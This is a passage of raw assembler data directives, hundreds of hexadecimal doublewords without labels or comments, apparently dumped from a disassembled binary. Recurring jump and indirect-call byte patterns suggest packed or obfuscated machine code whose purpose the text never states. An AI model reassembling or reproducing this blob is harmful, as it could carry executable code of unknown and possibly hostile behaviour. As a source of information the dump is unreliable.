0B8858DF5h, 0F507E697h, 0F9D0FFF9h, 0C18B66F9h, 0CACB8160h dd 0F48F94Eh, 184h, 8D61F500h, 0E6D1AB85h, 1850F07h, 0F9000000h dd 2F098589h, 890F07E0h, 7, 1890Fh, 8DF50000h, 0E6D2C285h dd 0DE907h, 0B0970000h, 0D3A4D897h, 6573C5BFh, 89CDD10Ah dd 0E0263D85h, 0FE907h, 0E0340000h, 0F70CFF1Ch, 5B9B83B1h dd 685F8AAAh, 0B853h, 60F90000h, 0CE9h, 0E6BC8400h, 0AB6F6F5h dd 4F519E44h, 0C00B610Fh, 198840Fh, 0C6F80000h, 0E0075985h dd 8E95607h, 2F000000h, 0D5B88AADh, 68EB0D9Ch, 0A9C530DFh dd 6BD88160h, 61613EDAh, 8860Fh, 850F0000h, 2, 0B5FF6160h dd 7E0292Dh, 0F9D88B60h, 0E8858D61h, 6007E37Fh, 0FE8h dd 0F5E46900h, 164FE21Ch, 0E874F1E7h, 8CE879E1h, 6059B3B4h dd 800Fh, 8E90000h, 6D000000h, 0F9ACC38Dh, 61D8293Eh, 0E9D0FF61h dd 9, 951388F3h, 8CE5AA5Ch, 12E907h, 1ECE0000h, 0EA91F8E5h dd 0E626D2BFh, 2AC3E38Fh, 8C5BE5D3h, 6E950h, 859D0000h dd 6D96080h, 5858D8Dh, 0F6007E0h, 18Eh, 6660F800h, 0E836C2BFh dd 8, 5EE37C57h, 2E53E41Fh, 5161615Ah, 1890Fh, 6AF50000h dd 14820F04h, 0E9000000h, 0Fh, 0CB20936Fh, 4FE862B4h, 255B1C1Ch dd 6855F899h, 1000h, 0EE9h, 7C560D00h, 5F432DF0h, 0E269306Bh dd 0FF8718DAh, 0E00465B5h, 0DE907h, 4F1E0000h, 0B6EDFB72h dd 0F2F4C2B7h, 0FF55C5D1h, 0E9FC60D0h, 0Dh, 0B6376160h dd 0AB890CD9h, 0B1A24753h, 66606140h, 12C1F081h, 11870Fh dd 0CE90000h, 2E000000h, 368CBE25h, 5A531001h, 6174ACD0h dd 465BD8Bh, 860F07E0h, 1, 3C7F03FCh, 0F1816660h, 0DE80916Ah dd 81F961C0h, 0F8C7h, 6060F500h, 8B0Fh, 0A3B30000h, 0ABBA5361h dd 5965B361h, 2447C761h, 60000020h, 8850Fh, 80600000h dd 0EB80C0C2h, 9D8D61D2h, 7E001EDh, 1890Fh, 8BFC0000h dd 13850F03h, 0E9000000h, 0Eh, 9BD9EF39h, 0AD790CA9h, 72D4D6A4h dd 0C00B21C2h, 41840Fh, 800F0000h, 1, 0E9008BF8h, 9, 0BC6CF18Fh dd 8DA7E10Eh, 0EE96085h, 66000000h, 725F940Ah, 0EC65456Bh dd 27C9D8A2h, 438961F4h, 0C830F04h, 0F000000h, 684h, 830F00h dd 0B9000000h, 234CF6h, 23E9h, 3246FD00h, 14h, 7 dup(0) dd 0B97E9h, 0D8316800h, 0C4E907E6h, 68FFFA71h, 7E6D93Ch dd 0FA71BAE9h, 0DABC68FFh, 0B0E907E6h, 68FFFA71h, 7E6DB99h dd 0FA71A6E9h, 0DD3D68FFh, 9CE907E6h, 68FFFA71h, 7E6DF80h dd 0FA7192E9h, 0E0A268FFh, 88E907E6h, 0F8FFFA71h, 81FDD478h dd 0F8B62FCh, 9915EC8Eh, 28A47B13h, 2B340BA1h, 790F96B8h dd 5A326A2h, 9030B22Eh, 1DB93DB9h, 844AA146h, 6329399Eh dd 31A42DB2h, 37C311ADh, 0A44017B3h, 4309C81Dh, 63226A0Ah dd 0F0DE9D06h, 0C276BC38h, 0ECCC9BCh, 22C37E68h, 0AA56E963h dd 9EE8C023h, 5C7FEE6h, 0C18182D0h, 10A6A33Bh, 0E483645h dd 46E9A855h, 17449592h, 85C437A4h, 40h, 371DE38Eh, 53632321h dd 32BCEDEAh, 6A670186h, 7F3EA71Ah, 226494B9h, 803FA863h dd 64290FD5h, 0F456322h, 0FB6662CAh, 0CECB00C1h, 90806A10h dd 0F1EB6322h, 3BE6F3A2h, 0EB34C437h, 3B000000h, 0B3EA4432h dd 0C98CBABCh, 7C189CCCh, 851BA22Eh, 8B27AB37h, 912DB13Dh dd 10933FBAh, 21232472h, 10822D4Ah, 206A672Ch, 5B435904h dd 0B43B62E6h, 3F740E93h, 0CAB8330Ah, 12ED34CDh, 0FA2A2799h dd 0E08CDA76h, 7F4504E1h, 6322908Ah, 77C8B661h, 0E73B2F55h dd 40806640h, 339C6323h, 6C43AC36h, 35F4F1D0h, 3FDEC48Ah dd 89F26323h, 0F975D8Ch, 0C26B05FDh, 17CE7D4h, 0B9DDDF7Fh dd 0C3BCBE06h, 3363037Fh, 0C029B3B0h, 29AA5601h, 36383987h dd 0BEF140B9h, 0CEFEFBB5h, 5FDAB147h, 429032B3h, 8D144441h dd 2B1CEDF7h, 512B72A0h, 935B3h, 3EE26200h, 0CC66EB67h dd 56F879F5h, 0E57D037Fh, 750B920Eh, 4E959Eh, 900CE379h dd 1C986F0Dh, 0A723FA9Ah, 0BB08723h, 3B08EEB4h, 9F246329h dd 14AA3116h, 0A13DC13Dh, 0B0114DCAh, 3B8927AAh, 9B46053Ah dd 84D268EFh, 173C8683h, 29632265h, 3BE772C0h, 3FCB19B9h dd 2BEB20BAh, 0BFC00EA4h, 648E78C2h, 66F96322h, 640FF5BBh dd 0FF856322h, 0FE181967h, 9EEC840Ah, 0D56B689Dh, 17FADF8Eh dd 0C520C437h, 27000000h, 0C311AD31h, 6A0A8C38h, 78384E1Ch dd 7C987772h, 931A4A47h, 7924AFFDh, 426DCDB3h, 6BEDE15Bh dd 477C7DCBh, 72E4004Ah, 42C65B42h, 763CE7A6h, 5B427290h dd 0FF4643ACh, 0A463FF83h, 0DEDB71F8h, 984D7420h, 0E93FEBD9h dd 0D6E7CD77h, 0EFE4AAD9h, 0A1632350h, 0FCC56138h, 0F87E2AE9h dd 14111260h, 9861FE5h, 99026B06h, 11A72EDAh, 1737BE3Ah dd 44B76B51h, 0E1167F5Bh, 0A0662CD7h, 0A3411B72h, 82Ah dd 7249ED6Dh, 0D771F6h, 8A610384h, 19F0880Eh, 0A980169Dh dd 840B43A0h, 189B17EEh, 0A527A37Ah, 2EB22E05h, 0BF16BB92h dd 293C13F9h, 19A22763h, 3D14AA31h, 0F79116C2h, 7BABA8A9h dd 7845BF7h, 0C311AD31h, 4017B337h, 9C81DA4h, 8F31B25Eh dd 678B4892h, 14C06322h, 6FF9F68Eh, 0A82CB806h, 35B9350Ch dd 692FDA99h, 63226783h, 73312E97h, 688A04CDh, 1D68FEEAh dd 966D098Dh, 3BFA961Ah, 89E4CA90h, 8FF8DBE8h, 452ED492h dd 5EDBE88Ah, 9D21B104h, 2AAE2A01h, 0AD9A408Eh, 34DBE88Ah dd 0D357672Eh, 0F7E56037h, 37C50A89h, 0F3F3C56h, 0F5A1EF8Bh dd 945A19CCh, 0E27C2E07h, 8D7339E4h, 0A1D3FC2Bh, 48B13B38h dd 0F9ECD571h, 423B743Ah, 5B0DBDCh, 9C41593Fh, 0BA3F75DAh dd 683DF661h, 86100D42h, 4029CF1Dh, 0ABDA9B97h, 0F2462A18h dd 8A71F1A0h, 1FACF78Dh, 250F273h, 0A6B30401h, 0F4BC8E3Fh dd 3DAh, 48EAB4FBh, 9DCAF9Dh, 0CC21A714h, 43020CF2h, 0CFB57B5Bh dd 0EB5B4301h, 40FF6882h, 4302947Ah, 423FA85Bh, 5716CFF2h dd 230A0091h, 0EF238C63h, 31CD6B15h, 0DB7462E4h, 85E94BAFh dd 744D9D9Ah, 4107B271h, 0E230795Bh, 5EF47B6Fh, 0DDDA0F10h dd 0A22BE8AEh, 0DC45EA10h, 6DFE28Eh, 227F8147h, 0A20BE434h dd 17B337E3h, 0A440C440h, 4F72F59Ah, 4AE8C2F4h, 6AAh, 0F2C96DEDh dd 8057F176h, 0AE18304h, 9970088Eh, 2900961Dh, 48BC320h dd 981B976Eh, 25A723FAh, 0AE32AE85h, 3F963B12h, 293D9379h dd 9922A763h, 7635B011h, 2266F3B0h, 4694FD63h, 0EF8B0FBBh dd 0A23EC2F2h, 8C7238E3h, 0A0632267h, 5A8F25ACh, 29EF9F5Dh dd 0C6952C5Ah, 22671A00h, 98CD3663h, 0CD7EBD9h, 0F888830Fh dd 4906CCFBh, 236B0293h, 7A68E3BAh, 61270F62h, 5B43157Bh dd 1924268Fh, 0CAE2F12h, 26AADAD7h, 2CB03C8Ah, 15B4290h dd 4A024B2h, 8C4B902Dh, 0C3D1C3D7h, 0D8000002h, 7635B011h dd 293923B0h, 0B3392D63h, 7C27E61Bh, 4A2EE08Eh, 8683BEF4h dd 6239CF56h, 7BC95FE6h, 28C1EAD5h, 0BD130163h, 37D36992h dd 2FB3E3E0h, 0D5EE8993h, 3DD8ABBh, 5CD65h, 0A64ACA00h dd 34CE53CFh, 0BE60E15Dh, 4DE56BE7h, 0DD73FA76h, 68E6FD06h dd 0F8744BE1h, 8400D775h, 0F8B6202h, 7318EF8Bh, 3E70561Ch dd 78C6329h, 35B0117Eh, 5A20CB76h, 5B426374h, 0D8221F88h dd 6329394Bh, 28EDC45h, 8F0BE27Eh, 95216F0Bh, 9B277511h dd 0CF6BEF18h, 0FD4B8081h, 0C6EE71h, 6329391Ah, 4A98CD36h dd 2DBA0963h, 29398167h, 0FF349D63h, 0AB3B8AE4h, 17B48B27h dd 0C431C0C2h, 20158h, 0AD315F00h, 8D38C311h, 63361CE2h dd 0E14A5B42h, 42632107h, 4C2C555Bh, 33172064h, 83B3B019h dd 2D55D8FFh, 42E98167h, 0FF349D5Bh, 0CD78F3CAh, 42E92107h dd 14D43D5Bh, 0A7A8F68Eh, 0F4675AAAh, 42E9482Eh, 3CFB645Bh dd 42E99076h, 0E43AC5Bh, 0F050894Fh, 0C32C6322h, 36D65804h dd 0E2CBB177h, 76DF6322h, 2B15BB79h, 966322E3h, 6DD05703h dd 655D3515h, 48457A14h, 0A5B2E3B2h, 0F3C43785h, 33h, 35B011FAh dd 5A20CB76h, 5B426374h, 0D8221F88h, 632264B3h, 0B7A564CDh dd 70913A15h, 0CA888537h, 23093A24h, 0D8ABA563h, 37B0ACA9h dd 0AEEAC4h, 31F10000h, 8A4844ADh, 0BAFBA55Eh, 24AB3785h dd 30B4408Eh, 36BA4694h, 0C344EBCDh, 0F4B421DFh, 0C69DD272h dd 42ED1430h, 56F2765Bh, 7DEE37Fh, 6FF19D48h, 838081CFh dd 259E1E39h, 0D9FC3263h, 50225D97h, 98430237h, 81CF65ECh dd 0CC538380h, 45CB7736h, 0ABAC63E0h, 1E531222h, 0D75EDA21h dd 0A76E3741h, 835D7540h, 429E5h, 4AEE6E00h, 0D872F773h dd 62048501h, 0F1890F8Bh, 81179E1Ah, 0C42A1AAh, 9C18EF85h dd 28A47B19h, 0B32F06A6h, 17BC932Fh, 4014FAC0h, 0A3286329h dd 14AA311Ah, 163DC13Dh, 0AAABF98Fh, 77239E75h, 2C5D5AF0h dd 3644AD31h, 0D239709Ch, 980CF2B8h, 0B7205B42h, 0E28E4D82h dd 8D73395Dh, 0A15B4298h, 0B4B50338h, 0C26EF9B7h, 74A4A13Fh dd 1E04CAF0h, 325B4298h, 0E7D594C9h, 0E8CCF874h, 579E9B6Bh dd 0FAD30DCh, 0E6FFC212h, 3BD46127h, 4FB86323h, 39735B01h dd 978A6323h, 957B41ECh, 0A9632339h, 39806640h, 31F76323h dd 6323394Bh, 73DCF65Fh, 0E595E076h, 844A09DCh, 6B033AF7h dd 0EA8208B4h, 0EE6F63EDh, 2530FE4Ch, 0DDFD8134h, 81E3E51Ah dd 0AFD2C549h, 30AB82B7h, 0CFD9BF85h, 8CF55B42h, 0AD315E8Fh dd 0B337C311h, 1B690B8Ch, 62E4CA90h, 8FF85B42h, 0BB66255Ah dd 42630FF5h, 0C5C22B5Bh, 6DFE27Eh, 2BF19C47h, 5B426345h dd 0A9F3F059h, 63226970h, 7517988Ch, 0CF938140h, 5EF85712h dd 9C4200FDh, 6322A9B2h, 2150231Dh, 0C4375434h, 644A10BBh dd 786322B1h, 458A120Fh, 91000000h dd 7635B011h, 22648BB0h, 0ECB2A563h, 63226406h, 3852F274h dd 0D927BD44h, 0AF6EA3D8h, 95E37F03h, 33D99794h, 63226449h dd 0F07521B4h, 0C33A0856h, 94A303CAh, 28BEBBF0h, 1E2F2C5Dh dd 76DC437h, 74000001h, 0F90F4432h, 94F55C97h, 0C8CA74A9h dd 0F9B966D2h, 0ABDBD876h, 0D2550127h, 0BE5E634h, 5B433D25h dd 4D9BD039h, 2D00D4C2h, 0B8FF13A6h, 6E048BBBh, 67E99520h dd 5C4208C7h, 705B4305h, 56DA0A07h, 5CE06CBAh, 0CE5501C0h dd 408E28ADh, 0BBBC0A3Fh, 0C5E177BEh, 235B4309h, 0CDB3799Fh dd 3B5B4308h, 0CFD01EB4h, 40174CB5h, 56A440C4h, 0FCE17AAh dd 49F37664h, 780D4B6Bh, 16E0317Bh, 0B6EC6323h, 4086B64Ch dd 0EF147A5Ah, 8F16163h, 9B814706h, 0AF6322F7h, 9E3A1146h dd 3D03C223h, 6B05B41Ch, 5500BF28h, 7AFE25A9h, 5A5BA9DEh dd 10A62D5Dh, 0A036BD39h, 0A01AD796h, 6C0AE472h, 1E6h dd 0B68D31B1h, 441BB53Ah, 0CEA547C8h, 5D34CC52h, 0EDC45AE1h dd 0C84FFFE4h, 5CDF5B32h, 0E96BE7BEh, 72F67249h, 35AFFD6h dd 2942573Dh, 65EE7363h, 66028632h, 1CB23969h, 1F45C945h dd 42637359h, 0E91E875Bh, 0B0119512h, 5CB7635h, 5B42631Fh dd 0A6D5D23Bh, 2FCB4FFBh, 64C3E832h, 0F45D6322h, 641600A6h dd 0EE816322h, 0C6558800h, 7774500Fh, 0F6E392E1h, 24C437C3h dd 0DFh, 0C187322Bh, 5B4262DBh, 639E844Ah, 49B25B42h, 99C9C62Fh dd 9F2B7915h, 8E348218h, 5B426872h, 0FA106B59h, 1D0E1668h dd 0D06CF020h, 5DF97DF9h, 472DF39Eh, 635B4316h, 15B1DD2Dh dd 0E4198594h, 447D29E7h, 0CB1CE2A1h, 0C56322A5h, 46F29D5Ch dd 664C26C2h, 7A63229Fh, 31660286h, 7051ED34h, 0C163E5A8h dd 1348C12Bh, 790E8E54h, 9B56B05h, 9798E688h, 0E8A7109Ah dd 0E6CC923Dh, 555B4547h, 4548A98Fh, 425CC55Bh, 25ACDCD9h dd 4F3DB88Fh, 0CD984010h, 0A9D9D6F8h, 0B5828C22h, 8272A096h dd 0C40AA8h, 53D30000h, 0D75CD8AFh, 69EA663Dh, 0EE74F0C7h dd 7C037F56h, 0DD060FE6h, 7D54EA71h, 9E07E01h, 946B0B8Dh dd 21F89418h, 795F257Ch, 95632943h, 0AA318710h, 3DC13D14h dd 314DCAA1h, 37C311ADh, 0A44017B3h, 4309C81Dh, 632939B2h dd 8876359Eh, 75DCF762h, 0C3817E3Ah, 5817B337h, 7F4A276Ah dd 5451484Ch, 710D910Dh, 7CFB7D23h, 76A576FDh, 77C13F88h dd 0C44598CBh, 682EED22h, 6F746782h, 0A238359Eh, 0A33FC3D3h dd 0A5CC50CCh, 452871Fh, 0ED8DF278h, 0E47E45F0h, 87140103h dd 3BCBB894h, 0A92CB806h, 0AC31BD0Bh, 1D43C412h, 29EFD356h dd 2CC84C5Ah, 0B955D955h, 8CD6Bh, 32480000h, 68650386h dd 0B131BC09h, 0AF33BF0Dh, 0B739C513h, 0BA3DC917h, 0BB42CE1Ch dd 0C44BD725h, 0CE54E02Eh, 0DB5CE836h, 0DA5FEB39h, 8363F240h dd 8F5404ECh, 4832404h, 78680424h, 8900004Fh, 89572414h dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 2434895Ch, 0F9BD5551h dd 8967355Eh, 0CEBA5DE9h, 1A0B177h, 8B5459CAh, 0C4832434h dd 4EC8304h, 81241489h, 78DD2404h, 468F2317h, 86E8108h dd 231778DDh, 5624348Bh, 0C681E689h, 4, 8704C683h, 8B5C2434h dd 89512414h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 663DE95Ch dd 71D7FFFAh, 8FA60F1Ah, 0E6E18BB8h, 0FFC50307h, 892639E0h dd 0C556127Bh, 75F5DA18h, 22AF2858h, 0B81CAD27h, 0BDFDDD54h dd 0C0B20276h, 4DA25D44h, 6C50607Ch, 0A085DC6Ah, 4FCB132h dd 0D1D67A61h, 0DB4D2A6Bh, 0CDD3A47Dh, 0ED00A555h, 77B6BE39h dd 0EDBF0C01h, 6EB9641Fh, 0A659BC18h, 142BC676h, 4771BA35h dd 23D7F04Dh, 47D2DB57h, 67749E12h, 0BE6D3E24h, 0E1536069h dd 0CAAEF725h, 0BB1BA529h, 66272F74h, 9E86Dh, 97500000h dd 0F0EB4178h, 81C36522h, 0E31DFAF7h, 9E95E2Ah, 2A000000h dd 0DEB9E70Eh, 3FD8D82Bh, 7480C681h, 0DE90000h, 53000000h dd 8C51DD62h, 0F6A5653h, 0DA97A76h, 1CFB68h, 0EF816600h dd 8B588382h, 0BE9521Eh, 2000000h, 0CDB17908h, 0A413A9F8h dd 815FD3ECh, 69A78EEBh, 53D1806Ch, 4063C381h, 81FC43BDh dd 6040C2EBh, 0D3B70F4Bh, 1FB91E89h, 81305416h, 303EC1EEh dd 28A0F65h, 8A000000h, 0BDC681EBh, 6665303Eh, 344AC781h dd 0AC850F48h, 0FFFFFFFh, 8D8DD0B7h, 7E6E431h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5EC35747h, 3C7D9205h dd 1B04EE7Eh, 6850FE4h, 8B000000h, 0E01689BDh, 0BE95307h dd 3E000000h, 81564868h, 76340042h, 89585001h, 0E018158Dh dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0D1D8DA22h, 0F600553h, 9D29DFB7h, 7E00139h dd 0DD858B61h, 0F07E005h, 85C7D8B7h, 7E02049h, 5E40h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 36C35747h, 3369EBA8h dd 0E025359Dh, 0C585C707h, 7E022h, 0E8000000h, 8, 53F8B7BCh dd 9691ECE2h, 7E8h, 2DADB800h, 2EAEA15Eh, 5B5A6160h, 1E49B5FFh dd 0C38107E0h, 7B70E4BDh, 209195FFh, 9D0907E0h, 7E03251h dd 919EC781h, 6A2F4Ah, 18A995FFh, 0C08B07E0h, 0F9DF0DEBh dd 0BF1B5D3Fh, 277AECDDh, 0E89D2EAFh, 0Bh, 0D09E75C9h dd 6EA06E20h, 59475C20h, 24359589h, 0C18107E0h, 6A54h dd 2C89BD89h, 6807E0h, 66000000h, 5AE8C2BFh, 348DB58Bh dd 34FF07E0h, 0FFB70F0Ah, 39B58B5Bh, 8107E000h, 0B2778FC3h dd 56B8665Ch, 78EB8119h, 89010BFEh, 0E01FDDBDh, 89F38107h dd 5357FC28h, 68A0Fh, 95310000h, 7E00521h, 0D8815358h dd 16A27E25h, 5211048Fh, 58F2B70Fh, 2D2D9D89h, 0EA8307E0h dd 0F0816604h, 0FA81D4B6h, 0FFFF963Ch, 0FFA0850Fh, 9529FFFFh dd 7E00E01h, 30E9h, 0B8700A00h, 27h, 0Ah dup(0) dd 505E900h, 1D680000h, 0E907E6E6h, 0FFF99BBBh, 0E6E6A968h dd 9BB1E907h, 0A68FFF9h, 0E907E6E8h, 0FFF99BA7h, 0A3BD775Fh dd 1832EAD1h, 8FA96146h, 21CD4BDh, 7A944E30h, 0A587BC25h dd 1BFFD1EBh, 92754761h, 8EEC0DAh, 6954344Eh, 0D3BC6B46h dd 7A11321h, 8A8F492Bh, 0D2ECA68Ch, 0A6BD7AA6h, 0BE96EC7Ah dd 3F457A72h, 0F199BDE0h, 0D5AF2E59h, 964E31F0h, 0D8EFE6EBh dd 0D9E9FCB5h, 292F8221h, 12CCB00Ah, 666B160Dh, 0D9E98E1Fh dd 0F14EAF21h, 0D45D6F9Bh, 3168853h, 56950000h, 0E3DE987Ch dd 21D9DDCEh, 2D4F55A8h, 20F0B0B3h, 9DC9EC03h, 9B2E5AA5h dd 2025DFC1h, 0B1042329h, 0BF3115FCh, 0AE72CCFFh, 3FAF0225h dd 5EC2F35h, 7823764Dh, 2D703E61h, 0AC0633D5h, 11080DC5h dd 7096166h, 0D7EE1128h, 4F30F549h, 2A446D90h, 7B3A2F35h dd 352A5958h, 27D2252Fh, 0A58B657Ch, 19FFD1EBh, 0E02A865Fh dd 563FE094h, 34128h, 0A6604800h, 1BD3BA8Ch, 924A2F01h dd 5BDA678h, 7D3719EBh, 70A50E63h, 0E8BAD48Eh, 5E304A04h dd 0D7A9C37Bh, 3D1D37F1h, 0BA822F52h, 8AFC21D3h, 0F04FD1F0h dd 451CB6D9h, 4FA22E5Ch, 8EBAF938h, 3FD2B6D8h, 2AFAADFh dd 7C21D3FBh, 47292329h, 0B74D8934h, 97421F5Dh, 0CDE35480h dd 58D6D79Dh, 309C1A6h, 82B6AA1h, 21D481A9h, 827C82D5h dd 9AE1E6A0h, 0CE5F3F32h, 4126E7CDh, 37F1D789h, 495DB38Ch dd 8D76DE29h, 2B55Fh, 32ECD400h, 0A75F4618h, 1ED6BB8Dh dd 91493204h, 9C3A577h, 0FC319AEFh, 7446601Ah, 0EABCD690h dd 63354F07h, 0C9A9C37Dh, 0BAF6BBDEh, 0E8021D3h, 0F04FD174h dd 451CB6D9h, 4FA22E5Ch, 0BCAA034Ah, 329321D3h, 2437FDDh dd 0C96C53D2h, 0B6000001h, 0D2AF9AC6h, 0C04DC7C1h, 20DAC0BAh dd 0FCDEB81Bh, 328E3E42h, 2D5B7AB8h, 86472D27h, 0ECE3E8A2h dd 0B549FBE8h, 2ADDDFAh, 0D754BCE8h, 11619DC0h, 84D72E5Ah dd 384F416Dh, 0F1AAAEFFh, 56579EEBh, 0E721D9A2h, 97D32986h dd 0C053D419h, 4Bh, 0F04FD10Ah, 611BFFD9h, 19D9FC5Bh, 5F2E5AA0h dd 371BF50Ch, 6A81787Dh, 0DAA06A47h, 0BBC11421h, 9F86276Eh dd 2F1521DAh, 0EA0D7075h, 21DA9FC7h, 0C3AA5CAFh, 0B8631B04h dd 3390BDB3h, 227FE0F0h, 0D4EB9ECCh, 0B4B953h, 2B030000h dd 88868B45h, 96D5ECA6h, 0BAA13E73h, 56793829h, 29BAA15Bh dd 1F25D023h, 34EED4D2h, 0FF2CC2Fh, 71575157h, 0E1C6A0B7h dd 0A6C12329h, 29BAA545h, 2BAA37Dh, 621C02FCh, 37F41C48h dd 2007E120h, 0DD1F6268h, 332E5813h, 0DEFC9E0h, 0D1FD3C53h dd 8BC345BBh, 0A0110C40h, 0D621D870h, 68496C83h, 0E21D871h dd 8153B5BBh, 0BC0CE59Fh, 0D9EDF199h, 154C2F0h, 4D350000h dd 0C0A77993h, 371CEE08h, 0AA93657Fh, 2406D8F2h, 0D2FB506Ah dd 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh, 0A24DEC4h, 951C3F2Ah dd 0E121D3B8h, 492BD56Fh, 0BDA3758Fh, 0B5601AFCh, 9AC6A19Bh dd 57794B47h, 0E0DAE04Bh, 9E5639FAh, 0AF0EEF3h, 0F20D3950h dd 9D6A0C14h, 9F593BEDh, 3B9DA39Ah, 0B22010Fh, 5A20EDE8h dd 8EF492Eh, 20F0C1E4h, 338621DAh, 0E18C8388h, 49688BCAh dd 3521DA21h, 3E7DDCE2h, 8A4225FFh, 0DA21228Fh, 3095C21h dd 536D2709h, 0F7BADD1Ch, 7F21DA20h, 0CAE3262Ch, 0D121DA20h dd 451731EBh, 76A4A963h, 0A6h, 550FF5CFh, 31535950h, 0D9F04FD1h dd 21D9C09Ah, 0DC1F251Ch, 2E5C44F2h, 2E2C3184h, 0A2748E48h dd 9AFD02BCh, 2025DDC0h, 43E02329h, 0EB01FD57h, 0D0AA59B6h dd 2F292FE7h, 3E758F49h, 0D3BC7B64h, 741F161Bh, 7872786Fh dd 0D5D3D892h, 312F34ECh, 2C8F944Ch, 222A809h, 0C97BCE02h dd 0F7292EE6h, 0F8A2ED42h, 3E2476CBh, 3D03B2Bh, 0B7624825h dd 20DFC6A0h, 847B803Ah, 0D7DDD4D9h, 0AABDA375h, 0AD105C1Eh dd 84893408h, 1956h, 9AC6EC00h, 543797BBh, 9CA0979Ch, 637A680Fh dd 0BAA07140h, 0B4BA0D29h, 432BF5B3h, 0A0868489h, 0E3E1E6h dd 61454348h, 0C2A4A2A7h, 23050308h, 7D666469h, 0DDC2C0C5h dd 3B222025h, 516D7E83h, 0BB53E189h, 4, 835BD901h, 0C8704E9h dd 0FC685C24h, 89000043h, 0B9682414h, 89000074h, 0C1BA241Ch dd 81707760h, 171A6C2h, 5EAC140h, 1E90BB53h, 0C3813F81h dd 6E3A6819h, 6663EB81h, 0F381506Ch, 0A0D3C119h, 545BDA29h dd 83241C8Bh, 565204C4h, 0E343CEBEh, 24740106h, 438F5E04h dd 86B8108h, 6E343CEh, 51241C8Bh, 0C181E189h, 4, 8704C183h dd 0FF5C240Ch, 815A2434h, 4C4h, 96CDE900h, 3199FFF9h, 8035D23Ch dd 16D6C6B0h, 0B8C2F928h, 7E6E983h, 0E0FFC503h, 58944595h dd 14C87EA6h, 3A83BED5h, 72D5E27Ah, 3813F196h, 3356516Ah dd 92BF8CFh, 70EA7A3Ch, 6253BDD0h, 2917F75Eh, 62577DEEh dd 4486724h, 21450B2Eh, 3AAF8784h, 143D095h, 4F053FE7h dd 3C2A48C6h, 35AAA863h, 1FDF78FAh, 75A424C3h, 737FD173h dd 4E31398Bh, 913CA30h, 1B6200C9h, 1799BB4Fh, 659FB177h dd 6DDE132Dh, 688750F0h, 309D9D94h, 476F384Dh, 12E8h, 7C13A100h dd 9984321Fh, 0DCDE7079h, 0DF4ECDD7h, 8098C45Ah, 0E95FB3E7h dd 9, 8A7923C2h, 0F62C5CCh, 4CC781FEh, 0F000064h, 887h dd 28B0F00h, 0B7000000h, 9C1DB930h, 0F18167FAh, 67FA84FBh dd 37FF73B2h, 9860Fh, 860F0000h, 3, 5EDDF780h, 6E9h, 99411600h dd 818FCE5Ch, 38F4A1F6h, 8123B71Dh, 15D8A4EEh, 0D881663Dh dd 0EE8134D0h, 7A4CEF4Ah, 18C0Fh, 89F80000h, 10E937h, 0B160000h dd 5D777FE4h, 3C2F7CC3h, 1A681030h, 0EF8356C0h, 0C0BA6602h dd 0E94F4F44h, 8, 87855A56h, 0CA86A4DDh, 8F850F49h, 8BFFFFFFh dd 4A8D8DD6h, 6A07E6ECh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0E12EC353h, 0A933D047h dd 38E0Fh, 0BF0F0000h, 840F52F8h, 10h, 0BE9h, 1361A400h dd 89EDB43Ch, 94247C8Ah, 158D895Fh, 6A07E018h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 717DC357h, 3DD97920h, 0C8F0Fh, 830F0000h, 6, 3425B589h dd 58B007E0h, 95DA8166h, 4985C7D6h, 9007E020h, 29000062h dd 0E01381BDh, 0C585C707h, 7E022h, 89000000h, 0E0183585h dd 4D858B07h, 0FF07E01Eh, 0E007B9B5h, 9195FF07h, 6A07E020h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 52E8C350h, 7810Fh, 8A0F0000h, 1, 20D081F9h dd 6A74EAFBh, 0A995FF00h, 8B07E018h, 0DC0BEBC0h, 0BC068C2Eh dd 93ED9E8h, 8D8DF8EBh, 7E6ECEBh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 8AC35242h, 2BE37785h, 18158D89h dd 0A3B807E0h, 0C765E0A4h, 0E0204985h, 69DC07h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0E5B5F7F0h, 68D8800Dh, 22C585C7h, 7E0h, 66600000h, 1004D281h dd 0CE46C881h, 0FF612949h, 0E0085DB5h, 0DF8B6607h, 209195FFh dd 0BD8907E0h, 7E01211h, 95FF006Ah, 7E018A9h, 1FEBC08Bh dd 32F22727h, 0E5FC0D9h, 0DB1A25C2h, 2246C578h, 0D344956Bh dd 0A9BA09DFh, 0E294AF4Dh, 8D2DF557h dd 0E6EDEA8Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 1C26E8C3h, 0DE0BC045h dd 6236C281h, 8D8941CFh, 7E01815h, 0C7F98B66h, 0E0204985h dd 74C007h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0BD8B8706h, 7E01005h, 22C585C7h dd 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0E2BF4C3h, 669B0ED6h, 0FF32E881h dd 2A5DB5FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 8D3161C3h, 7E02879h, 2DF1B589h dd 7DBE07E0h, 0FF339942h, 0E0209195h, 358D8907h, 6A07E012h dd 0A995FF00h, 8B07E018h, 162AEBC0h, 9D75EE11h, 5670E121h dd 0C7691FB9h, 56FE9656h, 0AA8A27AFh, 11EF2123h, 6ACCE1E5h dd 0EBA4F09Dh, 4F14DC55h, 7AA82F88h, 11E8EBh, 8B460000h dd 9C57D05h, 0A461AFC0h, 0A184FA0Ah, 605927D4h, 1195958Bh dd 4EBA07E0h, 6154F7B0h, 0A19D8B59h, 8107E031h, 676AC1h dd 0A9BD2900h, 0BF07E02Fh, 19AAh, 0FE99503h, 318B07E0h dd 0F681D08Ah, 264E4DBFh, 65C681F8h, 564CB273h, 8158F6B7h 